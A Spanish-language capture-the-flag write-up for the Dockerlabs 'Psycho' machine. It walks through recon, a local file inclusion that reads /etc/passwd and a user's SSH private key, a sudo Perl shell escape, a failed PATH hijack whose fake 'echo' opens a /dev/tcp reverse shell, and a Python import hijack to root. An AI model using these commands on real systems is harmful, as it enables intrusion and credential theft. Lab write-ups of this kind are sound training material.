[ES] Writeup - Psycho Dockerlabs | XoanOuteiro's Cybersec Notes

Esta es una máquina relativamente sencilla de Dockerlabs que se explota obteniendo un foothold mediant LFI tras descubrir un parámetro oculto. La escalada de privilegios consiste en una import/library hijacking.

Instanciamos el container mediante:

./auto_deploy.sh psycho.tar


	                   ##        .         
	             ## ## ##       ==         
	          ## ## ## ##      ===         
	      /""""""""""""""""\___/ ===       
	 ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
	      \______ o          __/           
	        \    \        __/            
	         \____\______/               
                                          
  ___  ____ ____ _  _ ____ ____ _    ____ ___  ____ 
  |  \ |  | |    |_/  |___ |__/ |    |__| |__] [__  
  |__/ |__| |___ | \_ |___ |  \ |___ |  | |__] ___] 
                                         
				    

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Tenemos la IP objetivo en el mensaje.

Iniciemos un escaneo de nmap en dos pasos:

Primero vamos a ver que puertos tiene abiertos mediante un escaneo SYN TCP

sudo nmap -sS -T4 -p- 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 02:29 CEST
Nmap scan report for 172.17.0.2
Host is up (0.0000040s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 8E:E7:AB:DF:03:C3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.93 seconds

Ahora que sabemos los puertos abiertos podemos optimizar un escaneo agresivo para descubrir servicios, versiones y sistema operativo:

sudo nmap -sS -A -p 22,80,21 172.17.0.2

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-12 02:31 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000099s latency).

PORT   STATE  SERVICE VERSION
21/tcp closed ftp
22/tcp open   ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 38:bb:36:a4:18:60:ee:a8:d1:0a:61:97:6c:83:06:05 (ECDSA)
|_  256 a3:4e:4f:6f:76:f2:ba:50:c6:1a:54:40:95:9c:20:41 (ED25519)
80/tcp open   http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 4You
MAC Address: 8E:E7:AB:DF:03:C3 (Unknown)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms 172.17.0.2

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.26 seconds

(Añado el puerto 21 ya que el autor de nmap lo recomienda para la detección de SO)

Son escaneos de nmap muy basicos, pero habiendo un servicio HTTP que enumerar prefiero no gastar demasiado tiempo en esta etapa.

También se puede destacar que la versión de OpenSSH no es vulnerable a enumeración de usuarios.

Viendo la web que abajo del todo aparece un error escrito en texto plano y fuera del cuerpo de la tag html.

Segun fuzzing por feroxbuster:

feroxbuster --url http://172.17.0.2 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html -x txt -x php -x git
                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://172.17.0.2
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html, txt, php, git]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      309c http://172.17.0.2/assets => http://172.17.0.2/assets/
200      GET       41l       70w      619c http://172.17.0.2/main.css
200      GET       63l      169w     2596c http://172.17.0.2/
200      GET       63l      169w     2596c http://172.17.0.2/index.php
200      GET      743l     1804w   144079c http://172.17.0.2/assets/background.jpg

Lo unico que llama la atención es el directorio assets, en el que existe directory listing. La única imagen es el fondo de la página web, y no tiene metadatos especiales.

Basandonos en que es una página php y que existe un error al final podemos probar a fuzzear por un parámetro secreto. El parametro secret funciona. No parece vulnerable ni a XSS(no refleja contenido) ni SQLi, pero si a LFI, podemos leer /etc/passwd:

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534::/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin messagebus:x:100:102::/nonexistent:/usr/sbin/nologin systemd-resolve:x:996:996:systemd Resolver:/:/usr/sbin/nologin vaxei:x:1001:1001:,,,:/home/vaxei:/bin/bash sshd:x:101:65534::/run/sshd:/usr/sbin/nologin luisillo:x:1002:1002::/home/luisillo:/bin/sh

Tenemos a los usuarios luisillo y vaxei con shells, podemos probar a buscar claves SSH en sus directorios home

Probamos con:

curl "http://172.17.0.2/index.php?secret=../../../../../../home/luisillo/.ssh/id_rsa"

No recibimos nada, pero con:

curl "http://172.17.0.2/index.php?secret=../../../../../../home/vaxei/.ssh/id_rsa"

Tenemos:

Nos quedamos con la clave:

vim vaxei
chmod 600 vaxei

Y somos vaxei en la máquina:

ssh -i vaxei vaxei@172.17.0.2
The authenticity of host '172.17.0.2 (172.17.0.2)' can't be established.
ED25519 key fingerprint is SHA256:KZdmmK93JpQdEgEdRl0JYVD4l+Gdfix6KM9aUmZc1lA.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.17.0.2' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.13.6-arch1-1 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Aug 10 02:25:09 2024 from 172.17.0.1
vaxei@01ab8c6f2e8a:~$

Sin complicarnos mucho vemos que podemos correr Perl como luisillo:

vaxei@01ab8c6f2e8a:~$ sudo -l
Matching Defaults entries for vaxei on 01ab8c6f2e8a:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User vaxei may run the following commands on 01ab8c6f2e8a:
    (luisillo) NOPASSWD: /usr/bin/perl

Tirando de GTFOBins, como la mayoria de lenguajes, perl nos permite instanciar una shell:

sudo -u luisillo perl -e 'exec "/bin/sh";'

$ whoami
luisillo

Enumerando permisos de sudo otra vez:

$ sudo -l
Matching Defaults entries for luisillo on 01ab8c6f2e8a:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User luisillo may run the following commands on 01ab8c6f2e8a:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/paw.py

El archivo:

import subprocess
import os
import sys
import time

# F
def dummy_function(data):
    result = ""
    for char in data:
        result += char.upper() if char.islower() else char.lower()
    return result

# Código para ejecutar el script
os.system("echo Ojo Aqui")

# Simulación de procesamiento de datos
def data_processing():
    data = "This is some dummy data that needs to be processed."
    processed_data = dummy_function(data)
    print(f"Processed data: {processed_data}")

# Simulación de un cálculo inútil
def perform_useless_calculation():
    result = 0
    for i in range(1000000):
        result += i
    print(f"Useless calculation result: {result}")

def run_command():
    subprocess.run(['echo Hello!'], check=True)

def main():
    # Llamadas a funciones que no afectan el resultado final
    data_processing()
    perform_useless_calculation()
    
    # Comando real que se ejecuta
    run_command()

if __name__ == "__main__":
    main()

Lo mas facil seria escribir en el archivo, pero no podemos:

$ ls -lhF /opt/paw.py
-rw-r--r-- 1 root root 967 Aug 10  2024 /opt/paw.py

Llama la atención que el comando echo se llama de manera relativa (desde el PATH del usuario que ejecuta el script) entonces quizas podriamos realizar un PATH hijacking para que el script ejecute nuestra versión del binario, no espero demasiado pero quiero probarlo.

Probemos con una versión simple:

$ echo "sh -i >& /dev/tcp/172.17.0.1/4444 0>&1;" > echo
$ chmod 777 echo
$ export PATH=.:$PATH
$ echo $PATH
.:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Ahora iniciemos un escuchador para la revshell con netcat:


ncat -nlvp 4444

Pero no funciona:

$ sudo python3 /opt/paw.py

Ojo Aqui
Processed data: tHIS IS SOME DUMMY DATA THAT NEEDS TO BE PROCESSED.
Useless calculation result: 499999500000
Traceback (most recent call last):
  File "/opt/paw.py", line 41, in <module>
    main()
  File "/opt/paw.py", line 38, in main
    run_command()
  File "/opt/paw.py", line 30, in run_command
    subprocess.run(['echo Hello!'], check=True)
  File "/usr/lib/python3.12/subprocess.py", line 548, in run
    with Popen(*popenargs, **kwargs) as process:
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/subprocess.py", line 1026, in __init__
    self._execute_child(args, executable, preexec_fn, close_fds,
  File "/usr/lib/python3.12/subprocess.py", line 1955, in _execute_child
    raise child_exception_type(errno_num, err_msg, err_filename)
FileNotFoundError: [Errno 2] No such file or directory: 'echo Hello!'

Antes de probar a debugear esto, probemos un import hijacking.

Primero arreglemos el PATH:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

Hay que crear un archivo python malicioso, en este caso instanciar una shell debería servir:

echo "import os; os.system('/bin/bash')" > subprocess.py

Movamoslo a /opt/ para que sea la primera opción de importación del programa:

$ mv subprocess.py /opt/
$ sudo python3 /opt/paw.py
root@01ab8c6f2e8a:/home/luisillo#

Y somos root.